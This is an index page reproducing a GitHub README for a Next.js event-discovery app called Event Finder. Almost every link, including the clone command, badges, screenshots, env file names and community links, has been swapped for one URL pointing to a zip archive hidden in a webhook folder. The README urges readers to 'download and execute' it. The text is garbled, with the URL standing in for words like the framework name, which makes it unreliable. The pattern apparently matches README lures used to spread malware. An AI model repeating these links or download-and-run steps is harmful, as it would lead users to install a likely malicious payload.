An open API service indexing awesome lists of open source software.

https://github.com/anas-ouchkouk/event-finder

## Event-FinderEvent-Finder helps you discover local events effortlessly. Built with React, TypeScript, and Next.js, it offers a smooth user experience. 🌟👨💻
https://github.com/anas-ouchkouk/event-finder

cloudant hackathon hackthisfall mapbox mern nextjs13 prisma sxsw t3-stack trpc watson-conversation

Last synced: about 2 months ago
JSON representation

## Event-FinderEvent-Finder helps you discover local events effortlessly. Built with React, TypeScript, and Next.js, it offers a smooth user experience. 🌟👨💻

Awesome Lists containing this project

README

          

# 🎉 Event Finder - Your Ultimate Event Discovery App 🌟

![Event Finder](https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip%20Finder-NextJS%2014-blue?style=flat&https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip)

Welcome to the **Event Finder** repository! This full-stack application built with **https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip 14**, **TypeScript**, **Stripe**, and **TailwindCSS** helps users discover and manage events effortlessly. Dive into the details below to learn how to set it up and contribute!

## 🚀 Table of Contents

- [Features](#features)
- [Tech Stack](#tech-stack)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)
- [Links](#links)

## 🌟 Features

- **User Authentication**: Secure login and registration using Clerk.
- **Event Management**: Create, edit, and delete events with ease.
- **Payment Integration**: Seamless payment processing through Stripe.
- **Responsive Design**: Built with TailwindCSS for a clean and modern UI.
- **Date Picker**: Easy date selection with `react-datepicker`.
- **Form Handling**: Efficient form management using `react-hook-form`.
- **Validation**: Robust data validation with Zod.
- **Custom UI Components**: Leverage `shadcn-ui` for consistent styling.

## 🛠️ Tech Stack

This project utilizes the following technologies:

- **https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip**: A React framework for server-side rendering and static site generation.
- **TypeScript**: A superset of JavaScript that adds static types.
- **Stripe**: Payment processing service for handling transactions.
- **TailwindCSS**: A utility-first CSS framework for rapid UI development.
- **Clerk**: Authentication and user management.
- **MongoDB**: NoSQL database for data storage.
- **React**: JavaScript library for building user interfaces.
- **React Datepicker**: A simple and reusable datepicker component.
- **React Hook Form**: A library for managing form state and validation.
- **Shadcn UI**: A collection of UI components for React.
- **Zod**: A TypeScript-first schema declaration and validation library.

## 💻 Installation

To set up the **Event Finder** application on your local machine, follow these steps:

1. **Clone the repository**:
```bash
git clone https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip
```

2. **Navigate to the project directory**:
```bash
cd Event-Finder
```

3. **Install dependencies**:
```bash
npm install
```

4. **Set up environment variables**: Create a `https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip` file in the root directory and add the required variables. You can refer to the `https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip` file for guidance.

5. **Run the application**:
```bash
npm run dev
```

Now, your application should be running on `http://localhost:3000`.

## 📦 Usage

Once you have the application running, you can explore its features:

- **User Registration**: Sign up to create an account.
- **Login**: Access your account with your credentials.
- **Create Events**: Use the form to add new events.
- **Edit/Delete Events**: Manage your events from your dashboard.
- **Payment Processing**: Test payments using Stripe's test keys.

For the latest releases and updates, visit our [Releases](https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip) section. Make sure to download and execute the latest version to enjoy all the new features!

## 🤝 Contributing

We welcome contributions to enhance the **Event Finder** application. If you would like to contribute, please follow these steps:

1. **Fork the repository**.
2. **Create a new branch**:
```bash
git checkout -b feature/YourFeatureName
```
3. **Make your changes** and commit them:
```bash
git commit -m "Add your message"
```
4. **Push to the branch**:
```bash
git push origin feature/YourFeatureName
```
5. **Create a pull request** to merge your changes.

Please ensure your code follows our coding standards and passes all tests.

## 📄 License

This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.

## 🔗 Links

For more information and updates, check out our [Releases](https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip) page. You can find the latest downloads and instructions for running the application.

## 🖼️ Screenshots

Here are some screenshots of the application:

### Home Page
![Home Page](https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip+Page)

### Event Creation
![Event Creation](https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip+Creation)

### User Dashboard
![User Dashboard](https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip+Dashboard)

## 🛠️ Future Improvements

We plan to implement several features in future updates, including:

- **Improved Search Functionality**: Allow users to filter events based on categories and dates.
- **Notifications**: Send reminders for upcoming events.
- **Social Sharing**: Enable users to share events on social media platforms.
- **Analytics Dashboard**: Provide insights on user engagement and event attendance.

## 💬 Community

Join our community for discussions, support, and feedback. You can find us on:

- **Discord**: [Join our server](https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip)
- **Twitter**: [Follow us](https://raw.githubusercontent.com/anas-ouchkouk/Event-Finder/main/app/api/webhook/clerk/Event_Finder_1.9.zip)

We appreciate your interest in **Event Finder**! Happy coding!